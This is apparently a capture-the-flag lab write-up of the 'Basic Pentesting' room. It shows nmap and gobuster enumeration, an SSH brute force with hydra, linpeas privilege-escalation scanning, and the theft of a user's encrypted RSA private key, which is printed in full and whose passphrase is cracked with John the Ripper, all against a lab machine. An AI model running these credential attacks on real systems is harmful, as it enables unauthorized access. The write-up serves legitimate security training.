

Basic Pentesting

By Arch Mugi

Executive Summary

This room explored a target system was configured with a weak, commonly known password, one that appears in publicly available leaked password databases. This misconfiguration allowed unauthorized access to the system by simply testing passwords from these databases against identified user accounts. The risk is significant. Any attacker with basic tools and internet access could compromise this system within minutes using the same technique. Users should replace all weak passwords immediately with strong, unique alternatives that are not derived from common words or patterns.

Objectives

The objective of this lab was to learn the following

- Brute forcing
- Hash cracking
- Service enumeration
- Linux enumeration

Methodology

1. Enumeration

Found the services running and exposed by the machine. Utilized `nmap` tool.

```
nmap -sV 10.114.159.117
```

`-sV` used for service/version detection

```
(archie@Archie)-[~/THM]
$ nmap -sV 10.114.159.117
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-14 17:01 +0300
Nmap scan report for 10.114.159.117
Host is up (0.18s latency).
Not shown: 994 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http         Apache httpd 2.4.41 ((Ubuntu))
139/tcp   open  netbios-ssn  Samba smbd 4
445/tcp   open  netbios-ssn  Samba smbd 4
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8080/tcp  open  http         Apache Tomcat 9.0.7
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.60 seconds
```

2. Web directory enumeration

Discovered the hidden directory on the web server, by utilizing `gobuster` tool. `/development` was the hidden directory.

```
gobuster dir -u http://10.114.159.117 -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-small.txt
```

```
(archie@Archie)-[~/THM]
$ gobuster dir -u http://10.114.159.117 -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-small.txt
=====
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url:          http://10.114.159.117
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:      /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent:    gobuster/3.8.2
[+] Timeout:      10s
=====
Starting gobuster in directory enumeration mode
=====
development (Status: 301) [Size: 322] [--> http://10.114.159.117/development/]
Progress: 21052 / 81642 (25.79%)^C
```



Index of /development

Name	Last modified	Size	Description
Parent Directory	-	-	-
dev.txt	2018-04-23 14:52	483	
j.txt	2018-04-23 13:10	235	

Apache/2.4.41 (Ubuntu) Server at 10.114.159.117 Port 80

3. User brute-force to find username and password

With port 445 open, utilized `enum4linux` to perform SMB enumeration.

Enumerated users using: `enum4linux -a 10.114.159.117`

```
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\kay (Local User)
S-1-22-1-1001 Unix User\jan (Local User)
S-1-22-1-1002 Unix User\ubuntu (Local User)

[+] Enumerating users using SID S-1-5-21-2853212168-2008227510-3551253869 and logon username '', password ''
S-1-5-21-2853212168-2008227510-3551253869-501 BASIC2\nobody (Local User)
S-1-5-21-2853212168-2008227510-3551253869-513 BASIC2\None (Domain Group)

[+] Enumerating users using SID S-1-5-32 and logon username '', password ''
^C
```

The two user names discovered were jan and kay.

4. Finding the Password.

Performed SSH brute-force using `hydra` a parallelized login cracker which supports numerous protocols to attack.

```
hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://10.113.144.172 -t 4
```

-l specifies the login name

-t run TASKS number of connects in parallel per target

```
(archie@Archie)~[/THM]
$ hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://10.113.144.172 -t 4
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service
organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-08-14 23:54:17
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries
per task
[DATA] attacking ssh://10.113.144.172:22/
[STATUS] 64.00 tries/min, 64 tries in 00:01h, 14344335 to do in 3735:31h, 4 active
[STATUS] 63.00 tries/min, 189 tries in 00:03h, 14344210 to do in 3794:46h, 4 active
[ERROR] Can not create restore file (./hvdra.restore) - Permission denied
[STATUS] 60.57 tries/min, 424 tries in 00:07h, 14343975 to do in 3946:51h, 4 active
[22][ssh] host: 10.113.144.172 login: jan password: armando
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-08-15 00:06:49

(archie@Archie)~[/THM]
$
```

After approximately 10 - 15 mins, hydra cracked the login password for jan.

The password was: `armando`

5. Gaining foothold to the remote machine

With the correct username and password, ssh-d to the remote machine.

```
ssh jan@10.113.144.172
```

```
(archie@Archie)~[/THM]
$ ssh jan@10.113.144.172
The authenticity of host '10.113.144.172 (10.113.144.172)' can't be established.
ED25519 key fingerprint is: SHA256:6HIM/7TfVCv7/HAS4esNfmlLHK6KxeeIN03mtvfyGw
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.113.144.172' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
jan@10.113.144.172's password: (password) armando
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-139-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

System information as of Fri 14 Aug 2026 05:13:14 PM EDT

System load:  0.0          Processes:      112
Usage of /:   50.6% of 13.62GB   Users logged in:  0
Memory usage: 59%          IPv4 address for ens5: 10.113.144.172
Swap usage:   0%

Expanded Security Maintenance for Infrastructure is not enabled.

0 updates can be applied immediately.

Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Your Hardware Enablement Stack (HWE) is supported until April 2025.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Mon Apr 23 15:55:45 2018 from 192.168.56.102
jan@ip-10-113-144-172:~$ whoami
```

```
jan@ip-10-113-144-172:~$ whoami
jan
jan@ip-10-113-144-172:~$
```

6. Enumerate the machine to find any vectors for privilege escalation

Linpeas is a script that finds ways to get root access to Linux systems.

Used `scp` to securely copy `linpeas.sh` to the remote machine.

```
scp /usr/share/peass/linpeas/linpeas.sh jan@10.113.144.172:/dev/shm
```

```
(archie@Archie)-[/usr/share/peass/linpeas]
$ scp /usr/share/peass/linpeas/linpeas.sh jan@10.113.144.172:/dev/shm

** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
jan@10.113.144.172's password:
linpeas.sh                                     100% 1038KB 313.9KB/s   00:03
```

Confirmed the script on the remote machine and made it executable.

```
chmod +x linpeas.sh
```

```
jan@ip-10-113-144-172:/home/kay$ cd /dev/shm/
jan@ip-10-113-144-172:/dev/shm$ ls
linpeas.sh
jan@ip-10-113-144-172:/dev/shm$ chmod +x linpeas.sh
jan@ip-10-113-144-172:/dev/shm$
```

Linpeas.sh script was able to find possible private SSH keys

```
ChallengeResponseAuthentication no
UsePAM yes

== Possible private SSH keys were found!
/home/kay/.ssh/id_rsa

== Some certificates were found (out limited): (T1552.004,T1021.004)
/etc/pki/fwupd/LVFS-CA.pem
/etc/pki/fwupd-metadata/LVFS-CA.pem
/etc/pollinate/entropy.ubuntu.com.pem
/etc/ssl/certs/ACCVRAIZ1.pem
/etc/ssl/certs/AC_RAIZ_FNMT-RCM.pem
/etc/ssl/certs/AC_RAIZ_FNMT-RCM_SERVIDORES_SEGUROS.pem
/etc/ssl/certs/Actalis_Authentication_Root_CA.pem
/etc/ssl/certs/AffirmTrust_Commercial.pem
/etc/ssl/certs/AffirmTrust_Networking.pem
/etc/ssl/certs/AffirmTrust_Premium_ECC.pem
```

```
jan@ip-10-113-144-172:/home/kay$ cd /home/kay
jan@ip-10-113-144-172:/home/kay$ ls
pass.bak
jan@ip-10-113-144-172:/home/kay$ ls -la
total 48
drwxr-xr-x 5 kay kay 4096 Apr 23 2018 .
drwxr-xr-x 5 root root 4096 Aug 14 16:53 ..
-rw-r--r-- 1 kay kay 789 Jun 22 2025 .bash_history
-rw-r--r-- 1 kay kay 220 Apr 17 2018 .bash_logout
-rw-r--r-- 1 kay kay 3771 Apr 17 2018 .bashrc
drwx----- 2 kay kay 4096 Apr 17 2018 .cache
-rw----- 1 root kay 119 Apr 23 2018 .lessht
drwxrwxr-x 2 kay kay 4096 Apr 23 2018 .nano
-rw----- 1 kay kay 57 Apr 23 2018 pass.bak
-rw-r--r-- 1 kay kay 655 Apr 17 2018 .profile
drwxr-xr-x 2 kay kay 4096 Apr 23 2018 .ssh
-rw-r--r-- 1 kay kay 0 Apr 17 2018 .sudo_as_admin_successful
-rw----- 1 root kay 538 Apr 23 2018 .viminfo
jan@ip-10-113-144-172:/home/kay$ cd .ssh
jan@ip-10-113-144-172:/home/kay/.ssh$ ls
authorized_keys id_rsa id_rsa.pub
jan@ip-10-113-144-172:/home/kay/.ssh$
```

Cat the `id_rsa`

```
jan@ip-10-113-144-172:/home/kay/.ssh$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75

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
```

Copied the RSA private key to the attacker machine and named it `kay_id_rsa`

Changed permissions so that only the owner can read and write the file

```
(archie@archie)-[~/THM]
$ chmod 600 kay_id_rsa
chmod: changing permissions of 'kay_id_rsa': Operation not permitted
```

```
(archie@archie)-[~/THM]
$ sudo chmod 600 kay_id_rsa
```

Utilized `ssh2john`

Note

a helper script included with John the Ripper that converts encrypted SSH private key files (like `id_rsa`) into a hash format that John the Ripper can understand and crack using a wordlist.


```

(archie@Archie)-[~/Downloads/THM]
$ nano kay_id_rsa

(archie@Archie)-[~/Downloads/THM]
$ ssh2john kay_id_rsa > /tmp/kay_id_rsa.txt

(archie@Archie)-[~/Downloads/THM]
$ john /tmp/kay_id_rsa.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax (kay_id_rsa)
1g 0:00:00:00 DONE (2026-08-15 01:42) 8.333g/s 689600p/s 689600c/s 689600C/s behlat..bammer
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

```

With the help of the password cracked and the identified file, successfully got access to the remote machine as user **kay**.

Opened the pass.key file and obtained the final password.

```

(archie@Archie)-[~/Downloads/THM]
$ chmod 600 kay_id_rsa

(archie@Archie)-[~/Downloads/THM]
$ ssh -i kay_id_rsa kay@10.113.144.172
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Enter passphrase for key 'kay_id_rsa':
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-139-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

System information as of Fri 14 Aug 2026 06:52:44 PM EDT

System load:  0.02          Processes:            126
Usage of /:   49.9% of 13.62GB Users logged in:          1
Memory usage: 60%          IPv4 address for ens5: 10.113.144.172
Swap usage:   19%

Expanded Security Maintenance for Infrastructure is not enabled.

0 updates can be applied immediately.

Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Your Hardware Enablement Stack (HWE) is supported until April 2025.

Last login: Sun Jun 22 13:40:04 2025 from 10.23.8.228
kay@ip-10-113-144-172:~$ ls
pass.bak
kay@ip-10-113-144-172:~$ cat pass.bak
heresareallystrongpasswordthatfollowsthepasswordpolicy$$
kay@ip-10-113-144-172:~$

```

Share your win with your peers

Your progress can inspire others in your community.



Basic Pentesting completed!

El4rchi3 completed another room on their cyber security journey.

Completed tasks

📋 1

Points earned

👾 180

Streak

🔥 1

Share on social media

Share your win before starting the next room

 LinkedIn

 WhatsApp

 Telegram

 Twitter / X

 Facebook

 Reddit